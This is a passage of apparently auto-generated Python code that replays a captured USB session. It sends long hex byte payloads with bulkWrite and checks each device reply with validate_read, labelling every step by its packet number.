b\"\\x0F\\x7E\\x0E\\xC2\\xFE\\x0F\\x8D\\x76\\x86\\xE9\\x6C\\x31\\x2F\\x3E\\xAE\\xD6\"\n b\"\\x24\\x13\\x76\\xD8\\xE3\\x7C\\xBB\\x56\\x69\\xF1\\x87\\x86\\x60\\xCA\\x2C\\x39\"\n b\"\\x9C\\x5F\\x77\\x41\\x8F\\x38\\x7F\\x57\\x75\\x8E\\x52\\xA0\\xE9\\xF5\\xEF\\x0A\"\n b\"\\xC9\\x3E\\x32\\xB0\\x04\\x4E\\x68\\x58\\x68\\xDD\\xF6\\xF6\\x37\\x0D\\x46\\xE1\"\n b\"\\x2C\\xDB\\xA5\\x95\\xD7\\x74\\x0A\\xD7\\x51\\x86\\x55\\xD6\\x25\\xE2\\x3E\\x72\"\n b\"\\x8C\\x37\\x29\\x43\\xF0\\x82\\x92\\x28\\x5C\\xC2\\x0D\\x66\\x44\\x94\\xE5\\xB0\"\n b\"\\x62\\x17\\x70\\x64\\x52\\x63\\x81\\x0E\\xAB\\xFB\\xA5\\x22\\xC1\\xDF\\x57\\x06\"\n b\"\\x48\\x8C\\xC6\\xD9\\xD2\\x95\\x0D\\xC7\\x1F\\xDD\\x13\\x33\\x6E\\xD4\\xDB\\xA2\"\n b\"\\x64\\xCB\\x54\\x34\\x5A\\xFA\\x13\\x06\\xAE\\x4C\\xBF\\x8E\\x46\\x29\\x91\\x9E\"\n b\"\\x76\\x38\\xDC\\x45\\x26\\x09\\x19\\xCC\\x76\\x45\\xF0\\x10\\x5C\\x9E\\xA1\\x7A\"\n b\"\\x41\\xB1\\x12\\x04\\xB6\\x36\\xD2\\x52\\x28\\xF6\\x81\\xF5\\x74\\x9C\\x7D\\xEB\"\n b\"\\x25\\x31\\x3D\\x0D\\x03\\xA2\\xA1\\x40\\x05\\x3A\\xF3\\x3B\\x92\\x81\\x12\\x2C\"\n b\"\\xED\\x79\\xFA\\x5A\\x07\\x45\\x25\\x95\\x5E\\x54\\x66\\x83\\x97\\xF8\\x85\\x00\"\n b\"\\xAB\\x6E\\xCB\\x34\\x71\\xEA\\x56\\xFC\\x5B\\x97\\x89\\xC5\")\n # Generated from packet 991/992\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 991/992\")\n # Generated from packet 993/994\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xEE\\x53\\x41\\x77\\x82\\x72\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x6D\\x62\\x60\\x6A\\xF4\\x6F\\x50\\x12\"\n b\"\\xB7\\xD3\\x76\\x84\\x7E\\x08\\x6C\\x4A\\x20\\xF2\\xA1\\x36\\xC3\\x89\\xF1\\x5D\"\n b\"\\xBB\\xB9\\x76\\x2C\\x22\\x93\\xF3\\x3C\\xDE\\x1C\\x1C\\xF8\\x11\\x7D\\x30\\xCD\"\n b\"\\x8E\\xF2\\x67\\x6D\\x9F\\x22\\x4C\\xCD\\xC2\\x66\\xB4\\x0B\\x9C\\xBC\\x7F\\x13\"\n b\"\\xA1\\xFC\\x94\\x5A\\x8F\\xB6\\xB4\\x9C\\x26\\x2D\\xCA\\x32\\x47\\x1D\\x5F\\xEB\"\n b\"\\x6D\\x33\\xA7\\x85\\xDD\\x83\\xBB\\xC4\\x6F\\x26\\xD2\\xA8\\xA5\\x8A\\x67\\x07\"\n b\"\\x60\\xED\\x8C\\x7C\\xCE\\xD5\\x00\\xE0\\xF8\\x44\\x10\\x7A\\x9C\\x9C\\xA5\\xBA\"\n b\"\\xB0\\x73\\xC3\\xE1\\xBD\\x7D\\xF6\\x5E\\x8F\\xCF\\x35\\xC4\\x87\\x55\\x90\\xE6\"\n b\"\\x0F\\x47\\x1E\\xDD\\x2A\\x72\\xEE\\x7F\\x29\\x7C\\x9E\\xB4\\xA8\\x47\\x06\\xD4\"\n b\"\\xB9\\xC5\\x9B\\xB1\\x96\\xE1\\x95\\x1E\\x97\\x6A\\x3B\\xA4\\x41\\x2A\\xBD\\x3E\"\n b\"\\xFE\\x94\\x9C\\xA7\\xEE\\xD7\\xE4\\x3F\\x5F\\x1A\\xFC\\x75\\xB4\\xD0\\xF1\\x97\"\n b\"\\xAF\\xA8\\x0A\\x64\\xC5\\x7C\\x4D\\x76\\xD2\\x34\\x37\\x07\\x0E\\xF2\\x9D\\x28\"\n b\"\\x39\\x0A\\x54\\x7E\\x71\\x46\\xFA\\x42\\xFC\\x64\\x26\\x62\\x5A\\xFD\\xC3\\xAD\"\n b\"\\xDE\\x6F\\x2A\\xF6\\x6D\\x9F\\x2C\\xC8\\x8A\\x8B\\xEA\\xDB\\x94\\x3E\\x3D\\x46\"\n b\"\\x34\\x94\\xFC\\xBD\\xA9\\x9B\\x33\\x3B\\x59\\xCE\\x6A\\xC3\\x3E\\x8C\\x25\\xC9\"\n b\"\\x78\\x30\\x00\\x91\\x04\\xF3\\x0D\\xD7\\xDD\\xF0\\x77\\x6D\\x7A\\xE1\\xC8\\x8D\"\n b\"\\x8C\\xD9\\x85\\x90\\x53\\x15\\xC6\\x0D\\x66\\x4B\\xBE\\xDE\")\n # Generated from packet 995/996\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 995/996\")\n # Generated from packet 997/998\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x72\\x6D\\x11\\xBD\\x1F\\x25\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1F\\x4C\\x6F\\x7C\\xA7\\x40\\xFD\\xFA\"\n b\"\\x63\\xB8\\x49\\xF5\\x60\\x6B\\xC5\\x82\\x0C\\xDA\\x8E\\x75\\x07\\x8B\\x8D\\xE5\"\n b\"\\xC3\\xCD\\x93\\x9B\\x0D\\xC8\\x50\\x68\\x1A\\xA0\\x91\\x6C\\xA6\\x81\\x6F\\xE6\"\n b\"\\x56\\xF8\\x41\\x95\\x50\\x12\\x97\\x18\\xC9\\xA9\\xF8\\x6F\\x93\\xB9\\x48\\x71\"\n b\"\\xB5\\x4A\\xCC\\x15\\x5F\\x46\\xC1\\x96\\x02\\xC9\\x86\\xA1\\x9C\\xC7\\x94\\x97\"\n b\"\\x4B\\x94\\x8D\\xDF\\x68\\x59\\x7C\\xF2\\x8C\\x32\\xA7\\xCC\\xE5\\x4A\\xAD\\x47\"\n b\"\\x7F\\xF0\\x37\\x52\\x66\\x39\\x2C\\xF3\\x5E\\x8F\\xF3\\xCA\\x2B\\x2D\\xB2\\x75\"\n b\"\\xB1\\x01\\x13\\x2B\\x15\\xDD\\x01\\x97\\xC9\\x1A\\x19\\xD7\\x88\\xB5\\x6C\\x9E\"\n b\"\\x03\\xD8\\x75\\x0F\\xD1\\x29\\x23\\xB8\\xC6\\xDD\\x98\\x43\\xBF\\x68\\x53\\x5D\"\n b\"\\x99\\x3F\\xB1\\x76\\x16\\x6F\\xF4\\x62\\xC6\\x4A\\x43\\x45\\x79\\xAB\\xAA\\x57\"\n b\"\\xA0\\xFB\\x18\\xA9\\x91\\x82\\x51\\x24\\xAF\\xE1\\xD4\\x7E\\x38\\xF6\\x6E\\xAF\"\n b\"\\x2D\\xEF\\x0B\\x38\\xB8\\x18\\x1B\\x37\\x23\\x75\\x60\\xC3\\x63\\xA4\\x85\\x86\"\n b\"\\x3F\\x01\\x9E\\x5E\\x7A\\x72\\x27\\x9C\\x0E\\xB2\\x61\\xCD\\x22\\x6B\\x09\\x3D\"\n b\"\\xA7\\xD5\\xF9\\x13\\x41\\x2F\\x6E\\x80\\x5E\\x1C\\x0E\\xE6\\xDA\\x97\\x30\\xD3\"\n b\"\\x99\\xB8\\x35\\xF1\\x20\\xE2\\xC1\\xEE\\x28\\x18\\xFF\\x81\\x0C\\xFC\\x4C\\x8D\"\n b\"\\xDE\\x49\\xD7\\xA5\\x30\\x56\\x39\\x5F\\xCC\\x53\\x81\\xBC\\xD9\\xBC\\x46\\x6B\"\n b\"\\x51\\x79\\xEC\\x97\\xE3\\xCF\\xD6\\x93\\xDC\\xCC\\xD2\\xA8\")\n # Generated from packet 999/1000\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 999/1000\")\n # Generated from packet 1001/1002\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x01\\x2F\\x53\\xC3\\x18\\x1D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x3D\\xAC\\x85\\x3E\\xC4\\x97\\x37\\x94\"\n b\"\\x4A\\xC9\\x06\\xE8\\x9F\\x63\\xD7\\xF4\\x64\\x0A\\x57\\x1A\\xEE\\x4C\\xC2\\x0F\"\n b\"\\xC7\\x1A\\xCF\\xC2\\x05\\x86\\x3D\\x0B\\xE3\\xCD\\xAD\\x84\\x5C\\x5C\\x67\\x3D\"\n b\"\\x0D\\x33\\x40\\x36\\x6A\\x0D\\xCD\\x3D\\xB5\\x44\\xD3\\x7F\\x05\\xF4\\x46\\xF8\"\n b\"\\x1C\\x55\\x86\\xAC\\x97\\xD8\\x30\\x54\\x6B\\x09\\x62\\xF5\\x1E\\x13\\x9C\\x2E\"\n b\"\\x1F\\x8F\\x75\\x6A\\x26\\xBC\\x05\\xF1\\x09\\x14\\xF9\\xDE\\xC5\\x5B\\x94\\x65\"\n b\"\\xA2\\x26\\x3D\\x7D\\x96\\x71\\x43\\xB9\\xCA\\x1A\\x2D\\x47\\xFD\\x06\\x2B\\xDC\"\n b\"\\x8D\\x9A\\x28\\xD0\\x7D\\x72\\xC3\\x40\\x68\\xC3\\x3C\\x03\\xD2\\x61\\x25\\x26\"\n b\"\\x4E\\xA3\\x16\\x54\\xE9\\x55\\xA0\\x82\\x11\\xA0\\x9E\\x01\\x1A\\xA5\\x7F\\x59\"\n b\"\\xB6\\xAA\\x71\\xC4\\x87\\x72\\x70\\xD5\\x9E\\x11\\x93\\x14\\xAC\\xB8\\x5A\\x63\"\n b\"\\xAA\\x7F\\x88\\x5E\\x11\\x09\\x74\\xB0\\xCE\\x87\\x35\\x16\\xCC\\xCF\\x25\\x84\"\n b\"\\x55\\x7A\\xB9\\xCB\\x4C\\x5E\\xD9\\x9D\\x81\\x66\\xB8\\x06\\x85\\x0C\\xE4\\x8F\"\n b\"\\xD0\\xCB\\x88\\x3E\\xBE\\x55\\x59\\xD5\\xCC\\xE3\\x19\\x98\\xDC\\xC7\\xB7\\xD6\"\n b\"\\xF7\\xF4\\x7D\\x3C\\xAF\\x74\\xE5\\x6C\\x13\\x07\\xE4\\xBB\\x66\\x3C\\x1C\\x11\"\n b\"\\xC0\\xD3\\xFB\\xF1\\xDC\\xA9\\x7C\\x44\\xE9\\x3F\\x4C\\x18\\x38\\xB1\\x1F\\x74\"\n b\"\\x5E\\xFA\\x83\\xB1\\x8F\\x02\\xA7\\xEC\\x64\\x34\\x9B\\x56\\x3F\\x9D\\x0C\\xDB\"\n b\"\\x7B\\xA9\\x3B\\x22\\x81\\xEF\\x6B\\x41\\x7D\\xA7\\xEF\\x7B\")\n # Generated from packet 1003/1004\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1003/1004\")\n # Generated from packet 1005/1006\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x98\\x82\\x9E\\x46\\x70\\x62\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x4A\\x03\\x71\\xEF\\x20\\x34\\x50\\xD9\"\n b\"\\x4A\\xF3\\xF8\\xA8\\x44\\x39\\x4C\\x1E\\xA5\\x0F\\x89\\x94\\x9E\\xAB\\x6E\\x38\"\n b\"\\x19\\x8E\\xF1\\x39\\x4F\\xE8\\x56\\x2D\\x9A\\x85\\x3D\\x29\\x66\\x77\\x14\\x91\"\n b\"\\x2B\\x4F\\xC2\\xC7\\x4F\\x10\\x99\\xC0\\xDC\\xCE\\x3D\\x4A\\x22\\xA1\\x2D\\x6F\"\n b\"\\x6D\\x10\\x75\\xF3\\x32\\xB7\\xAE\\xC1\\xFB\\xC4\\x3C\\x6F\\x5A\\x22\\x3C\\x8B\"\n b\"\\x05\\x39\\x22\\x7D\\xC6\\xA7\\x77\\x43\\x8F\\xBE\\x32\\x44\\x47\\x3F\\xDC\\xD8\"\n b\"\\xB0\\x7D\\x56\\x9C\\xD9\\xFF\\x2C\\xA2\\x5E\\x2E\\x4F\\x67\\x00\\x40\\x98\\xE8\"\n b\"\\x09\\x2E\\x9B\\x73\\xEA\\x36\\x9D\\xC2\\xF8\\x77\\xA2\\xD4\\xE7\\xE0\\x71\\x9E\"\n b\"\\x36\\xAE\\x3C\\xAB\\x29\\x26\\x3D\\x24\\x3E\\x3D\\x48\\xB0\\x82\\xCB\\xDD\\xD2\"\n b\"\\x77\\x68\\x25\\x79\\x18\\x91\\xDC\\xFC\\x75\\xB4\\xB8\\xAA\\x6B\\x94\\x4E\\x93\"\n b\"\\x5B\\x99\\xC6\\x77\\x53\\x33\\x81\\xA3\\xF0\\xDB\\x2C\\x49\\x0F\\x50\\xF0\\x42\"\n b\"\\xDA\\x2E\\xF1\\x4A\\xC1\\x5C\\x7F\\x0D\\xC9\\xCE\\x7A\\x17\\x7F\\x58\\x77\\xC6\"\n b\"\\xC8\\x4C\\x69\\xC1\\x92\\xEB\\xBE\\xF4\\xF0\\xF3\\x61\\xF4\\x08\\x19\\x84\\x97\"\n b\"\\x44\\xEC\\x40\\x51\\x0B\\xA2\\xF1\\x47\\xCE\\xD2\\x98\\xCE\\x50\\xFA\\x63\\x6D\"\n b\"\\x6B\\xD8\\x09\\xE4\\x27\\x8B\\x9A\\x70\\xA4\\xD7\\xEF\\x4A\\xD5\\x11\\x89\\xE4\"\n b\"\\x94\\x10\\x7E\\x5D\\xBA\\xDE\\xE2\\x71\\xDF\\x9E\\xC5\\xB8\\x1D\\x2F\\x6A\\x07\"\n b\"\\x31\\x2E\\xDD\\xF8\\x7D\\xDE\\x29\\x75\\xB5\\x92\\xC0\\x9C\")\n # Generated from packet 1007/1008\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1007/1008\")\n # Generated from packet 1009/1010\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xC3\\x18\\x73\\x78\\x92\\x34\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB8\\x90\\xDC\\x4C\\xB4\\x05\\xA3\\x38\"\n b\"\\x3E\\x46\\xFB\\x78\\x04\\xEE\\x58\\x67\\xFD\\x63\\xFE\\x8E\\x9B\\xCD\\x85\\x17\"\n b\"\\x63\\x84\\xC0\\x45\\xC7\\x1B\\xFA\\xA2\\x7E\\x89\\xF3\\xDE\\x96\\x8F\\x0E\\x1A\"\n b\"\\x23\\x8E\\x44\\x7F\\x49\\xB3\\xD2\\xD6\\x1B\\x64\\x56\\x89\\x2A\\x18\\x51\\xFB\"\n b\"\\x4D\\x72\\x99\\xD6\\x69\\x1F\\x44\\x12\\xF7\\x75\\x4E\\xBD\\xE5\\x52\\x16\\xE1\"\n b\"\\x66\\x62\\x23\\x3B\\x65\\xB2\\xF8\\xE5\\xB0\\x95\\x26\\x1B\\x5C\\x63\\x9E\\x75\"\n b\"\\xD2\\x40\\x64\\x5B\\xB7\\x95\\x52\\xB0\\x8F\\xBD\\x43\\x46\\x95\\xC0\\xF3\\xE4\"\n b\"\\x5D\\x1D\\xC4\\x66\\x0B\\x69\\x74\\x57\\x21\\x96\\x57\\x88\\xED\\x94\\xB2\\xDD\"\n b\"\\xA6\\xF1\\x51\\x7F\\x66\\xB5\\xFF\\xF2\\x44\\x10\\x72\\xD8\\x4A\\xC8\\x85\\x2B\"\n b\"\\x39\\x05\\x66\\x25\\x50\\x7E\\x20\\xCB\\xDF\\x54\\x12\\x2C\\x66\\x14\\x35\\x25\"\n b\"\\x76\\xB8\\xFA\\x96\\xC7\\x60\\x23\\xDE\\xA7\\xFB\\x13\\x25\\x03\\x5F\\x5F\\x88\"\n b\"\\x65\\x99\\x7A\\x30\\x79\\x26\\xB9\\x60\\x01\\x4E\\x88\\xE3\\x7B\\xBB\\x78\\x1B\"\n b\"\\x01\\x36\\x84\\x92\\x8F\\xA7\\x72\\xBA\\xBC\\x40\\x5C\\x2B\\x0B\\x38\\x2C\\x5C\"\n b\"\\xCE\\x21\\xBA\\x52\\xDA\\x99\\xAC\\x54\\xFE\\x1A\\xDC\\x4D\\xC5\\x4C\\xD9\\x4F\"\n b\"\\x77\\xCA\\x59\\x8C\\x0E\\x62\\xA1\\x33\\x37\\x89\\xA3\\x74\\x2C\\x3B\\xF6\\xFE\"\n b\"\\x9F\\x70\\xAE\\xA0\\xA0\\xA4\\x7B\\x1E\\xB5\\xD8\\x89\\x65\\x41\\x95\\xEF\\xC0\"\n b\"\\xE9\\xA5\\xF2\\x05\\x83\\x54\\x53\\x07\\x28\\xF3\\xAC\\x7B\")\n # Generated from packet 1011/1012\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1011/1012\")\n # Generated from packet 1013/1014\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xBA\\xB8\\x5B\\x90\\xDA\\x19\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x72\\x18\\x69\\x41\\x30\\x41\\x51\\x71\"\n b\"\\x29\\xDA\\xF0\\xBF\\x87\\x47\\xBE\\xD1\\xA2\\xAE\\x12\\xB0\\xCA\\x73\\x91\\x49\"\n b\"\\xDA\\xC8\\xF1\\xA7\\x22\\x70\\x4B\\x0E\\xCE\\x50\\xFA\\x9C\\x17\\xFB\\x1A\\xCB\"\n b\"\\x44\\x47\\xF9\\x08\\xC8\\x80\\x8E\\xFE\\x73\\x71\\x92\\x0C\\xD8\\x6A\\xAE\\xCA\"\n b\"\\x68\\xA4\\x7C\\xDE\\x08\\x76\\x8A\\x0A\\x50\\xB7\\xF7\\xD1\\xBF\\xB2\\xF9\\x0A\"\n b\"\\xF4\\xF5\\x0A\\xC1\\xFF\\x8A\\x17\\x0F\\x81\\x65\\xBE\\x1B\\x33\\xFC\\x0A\\xD0\"\n b\"\\x5F\\x5B\\xF4\\x40\\x5B\\xDC\\x4C\\x28\\x61\\xE5\\xF4\\x91\\x37\\xAE\\x82\\x6C\"\n b\"\\x81\\xB3\\x5F\\xC0\\x5A\\xDE\\x15\\x7F\\x4B\\x96\\x7E\\x51\\x8B\\x25\\x5F\\xBD\"\n b\"\\x6C\\x49\\x76\\x37\\xC8\\x2C\\x78\\x8B\\x9A\\xD3\\xCC\\x4A\\x47\\xF5\\x53\\x39\"\n b\"\\x57\\xDF\\x1F\\xAD\\x99\\xA4\\x72\\xDB\\xFC\\xD4\\xD4\\xEB\\xCE\\x06\\xF5\\xC5\"\n b\"\\xBB\\x4E\\x44\\x9C\\x82\\x86\\x50\\xDC\\x9E\\x92\\x5C\\xE7\\xCA\\x0D\\x49\\xA7\"\n b\"\\x18\\x86\\x44\\xFE\\x6A\\x08\\xFF\\x10\\x1F\\x23\\x47\\x1F\\xF4\\x2F\\xBD\\x8B\"\n b\"\\xCB\\x82\\x16\\xEF\\x05\\x74\\x4E\\xC1\\x58\\xBA\\x57\\xC5\\xC6\\xFE\\xB7\\x23\"\n b\"\\xCE\\xA0\\xBC\\x6B\\x28\\x25\\x7A\\x59\\x3D\\x6D\\x33\\x32\\xC5\\x71\\x93\\x12\"\n b\"\\xDB\\xDE\\xF2\\xC1\\x05\\x39\\xCF\\xF5\\x3E\\x23\\x88\\x68\\xB1\\xD8\\x96\\x91\"\n b\"\\x7D\\x2D\\xD1\\x35\\x8C\\x69\\x2D\\x1D\\xB7\\x86\\x3E\\xBF\\xC1\\x21\\x7B\\xF8\"\n b\"\\x8E\\x3B\\x2B\\xD4\\xB3\\x3E\\xF5\\xC7\\xB2\\xAD\\x81\\x0A\")\n # Generated from packet 1015/1016\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1015/1016\")\n # Generated from packet 1017/1018\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x70\\x00\\x7F\\x97\\x64\\x50\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD6\\x7A\\xBB\\xD6\\xF5\\x41\\xAB\\x5F\"\n b\"\\x61\\x89\\x89\\x9B\\x4F\\x55\\x5E\\x9A\\x16\\x95\\x61\\x6B\\xDD\\xB0\\x6B\\x75\"\n b\"\\x5C\\xC1\\x3E\\x96\\x74\\x9B\\x78\\x75\\xBD\\x1E\\xED\\x31\\x10\\xC5\\x34\\x16\"\n b\"\\x9A\\x20\\xC6\\x8B\\xC3\\xEB\\xF6\\x67\\xF9\\x0A\\x69\\x71\\xA2\\x60\\xDA\\xBE\"\n b\"\\x93\\x17\\x40\\x28\\xA3\\x4F\\x10\\xA3\\xB1\\x47\\xA6\\x4A\\xEA\\x2F\\x78\\x9C\"\n b\"\\xDB\\x9B\\xCD\\xCC\\x68\\x55\\x4B\\x3A\\x20\\xAA\\xDB\\xE4\\x8F\\x99\\xB7\\xD4\"\n b\"\\x9A\\xF1\\x10\\x43\\xBD\\x75\\x06\\xF4\\xF5\\x80\\x58\\x29\\x02\\xED\\x42\\x69\"\n b\"\\x28\\x4D\\x34\\xA6\\x43\\x64\\x46\\xC4\\xCE\\x7E\\xF9\\x2B\\xAC\\x52\\x4A\\x13\"\n b\"\\x91\\x06\\x9C\\x4C\\xDE\\x54\\xD9\\xEB\\xFA\\x79\\xCA\\x32\\x59\\x73\\xF3\\xF7\"\n b\"\\x38\\x13\\x9A\\x6D\\x43\\x3B\\xD5\\x8A\\xEA\\x20\\x1D\\x7C\\x0B\\x64\\x5C\\xF3\"\n b\"\\x14\\x7E\\x21\\x72\\x93\\x5C\\x40\\x2C\\x8C\\x22\\xB0\\x16\\x3D\\x60\\xBC\\xD2\"\n b\"\\x28\\x94\\xC2\\xFF\\xE0\\xD6\\xB2\\x92\\xF8\\x0C\\xA8\\x6E\\x95\\x45\\xFE\\xC3\"\n b\"\\xD5\\x93\\x1F\\x8B\\x4F\\xA0\\x2B\\xA9\\x05\\x80\\x01\\x5C\\x76\\x69\\x45\\xAF\"\n b\"\\x64\\x93\\xDD\\x48\\xC1\\xF2\\x0B\\x64\\xFE\\xB0\\xEE\\x24\\x95\\x3C\\x1B\\x4A\"\n b\"\\x44\\xF0\\x37\\xB1\\xFB\\x4A\\x45\\xA9\\x36\\x61\\xC4\\x1D\\x20\\x3D\\xDB\\xEE\"\n b\"\\xCB\\x7A\\x47\\x2C\\xB9\\xD4\\xDC\\xB5\\xD8\\x2F\\x53\\x27\\x79\\xB6\\xAB\\x81\"\n b\"\\x68\\xF4\\x92\\x22\\xFF\\x80\\x20\\xDA\\x54\\x78\\x26\\x60\")\n # Generated from packet 1019/1020\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1019/1020\")\n # Generated from packet 1021/1022\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x5B\\x32\\xCF\\x35\\x54\\x4D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x09\\x2C\\xCF\\x0C\\xBE\\xC3\\xA8\\x57\"\n b\"\\x4B\\xA8\\xA8\\xCE\\xCC\\x63\\x1E\\xDE\\x59\\x0F\\x64\\xB6\\x2A\\xD2\\xD7\\x1D\"\n b\"\\x33\\x93\\x1F\\xE9\\x71\\xFF\\x7A\\x2C\\xE5\\xC5\\x4C\\x2D\\x57\\xEB\\x53\\xD0\"\n b\"\\x2A\\xBA\\x89\\xFE\\x61\\xC7\\x2D\\xDE\\xDA\\x45\\x4A\\x88\\x99\\x7C\\x59\\x62\"\n b\"\\x53\\x7D\\x57\\x7E\\x74\\x39\\xEB\\x06\\x8D\\x9E\\x40\\x94\\x75\\x42\\xB0\\x06\"\n b\"\\xE8\\x26\\x16\\x2B\\xF4\\xE0\\xAC\\x72\\x47\\x6D\\x60\\x24\\x86\\xD8\\x09\\xC6\"\n b\"\\xBF\\x4C\\x42\\x77\\x4A\\x8F\\x98\\x3D\\x9D\\x58\\x51\\x15\\x7E\\xC0\\x28\\xE2\"\n b\"\\x18\\xA0\\x97\\xD4\\x84\\xB1\\xEE\\x6E\\x74\\x0B\\x56\\x24\\xB2\\xFB\\xB1\\x64\"\n b\"\\x72\\x37\\x4D\\x6C\\x8A\\x69\\xE3\\x3E\\x1E\\x88\\x5A\\xF6\\x64\\xC4\\xAB\\xBC\"\n b\"\\xCB\\x7E\\x02\\x2B\\x70\\x17\\xBB\\x26\\x91\\xEC\\x0C\\xCE\\x2F\\xAA\\x9A\\x2C\"\n b\"\\x03\\x5F\\x03\\x4F\\x2B\\x30\\xE4\\x72\\x2B\\x6F\\x1B\\x16\\x67\\x33\\xB9\\x7F\"\n b\"\\xE9\\x18\\xD6\\xD0\\x54\\xC4\\x8D\\xF7\\x56\\x63\\xC8\\x28\\x89\\x50\\xFA\\xC5\"\n b\"\\x85\\x21\\xCD\\xB0\\xD7\\x2F\\x6F\\x1C\\xDC\\xC5\\xD7\\x41\\xFD\\x75\\xCB\\x5F\"\n b\"\\xC3\\xBF\\x75\\xDC\\x5F\\x8A\\x30\\xDF\\xA1\\x23\\xFB\\x77\\x2F\\x2B\\x94\\xD7\"\n b\"\\x74\\x9C\\x8B\\x2C\\xBC\\x27\\x0F\\x5A\\x5E\\xB2\\xEE\\xB4\\x0F\\x9A\\xD8\\x0F\"\n b\"\\x28\\xF2\\xBE\\x24\\x05\\xC0\\xB5\\x74\\x8A\\xBB\\x23\\x51\\x2B\\x13\\x0A\\xD7\"\n b\"\\x71\\x86\\xE0\\xB3\\x7F\\x04\\x84\\x1C\\xC2\\x20\\x20\\xE1\")\n # Generated from packet 1023/1024\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1023/1024\")\n # Generated from packet 1025/1026\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x60\\x2C\\x9D\\x73\\xCE\\x39\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x27\\x74\\xE2\\xC3\\xE6\\xCC\\xA4\\xC8\"\n b\"\\x41\\x1C\\xF0\\x87\\x8B\\xC7\\x66\\x60\\x5B\\x76\\x31\\x9E\\xF6\\xB8\\x74\\x68\"\n b\"\\x99\\x2E\\x89\\xFC\\x24\\x10\\x2C\\xB4\\x9B\\xF9\\x70\\x6C\\xEF\\x11\\xC3\\x7C\"\n b\"\\x4E\\x78\\x24\\x99\\xE1\\x47\\xFB\\xFB\\x81\\x04\\x04\\x82\\x7E\\x9B\\x49\\x7C\"\n b\"\\x32\\x96\\xDA\\xE8\\xF3\\xDF\\x1F\\xAF\\x24\\x97\\x09\\x14\\x55\\x65\\xE8\\x29\"\n b\"\\x82\\xF1\\x27\\x23\\xA6\\x13\\xA0\\xBB\\x4E\\xD3\\x5E\\xA6\\xA2\\x01\\x60\\xB0\"\n b\"\\xD9\\x39\\x14\\xB2\\x9B\\x9D\\xD3\\x26\\x65\\x21\\x6D\\x27\\xDE\\x7F\\x79\\x77\"\n b\"\\xE6\\xDE\\x49\\xC4\\x40\\xD6\\xB5\\x10\\x62\\x63\\xDA\\x0F\\xD8\\xFB\\x3A\\x1E\"\n b\"\\xBE\\x09\\x1C\\xBF\\xC2\\xF7\\xEA\\xF6\\xE2\\x83\\xB3\\xE6\\x88\\xDF\\xA3\\xC3\"\n b\"\\x9A\\x44\\x87\\xC6\\x1D\\x5F\\x60\\x47\\xAC\\xC2\\xE5\\x9C\\x06\\x7A\\xE6\\xA5\"\n b\"\\x4B\\x5F\\xF1\\x7D\\x88\\xCB\\x3E\\x8B\\xF8\\x66\\xD8\\x4F\\xBC\\x5D\\x9D\\xFB\"\n b\"\\x1A\\x4D\\xD9\\x38\\x06\\xFF\\xF9\\xB8\\x46\\x1F\\x8D\\xB9\\x87\\x5A\\x6F\\x76\"\n b\"\\x6D\\x57\\x24\\x7D\\x36\\x0A\\x71\\x63\\x66\\x53\\x2D\\xA1\\x71\\x75\\x95\\x44\"\n b\"\\xEB\\xA9\\x38\\x6D\\x05\\x5F\\xAA\\x94\\x3C\\xE5\\xC2\\x28\\x75\\xE4\\xD8\\x90\"\n b\"\\x13\\x95\\xF6\\x9C\\xC4\\xEE\\xE1\\x8E\\xDC\\x1F\\xFC\\xD1\\x4F\\x02\\x5A\\x99\"\n b\"\\x8F\\x0C\\xED\\xE2\\x3A\\x42\\x3B\\x11\\x9B\\x08\\x81\\x69\\x3F\\x1D\\xB8\\x2B\"\n b\"\\xE5\\xB9\\x8F\\x29\\x06\\xF3\\xC6\\x4C\\x08\\x00\\x19\\xFD\")\n # 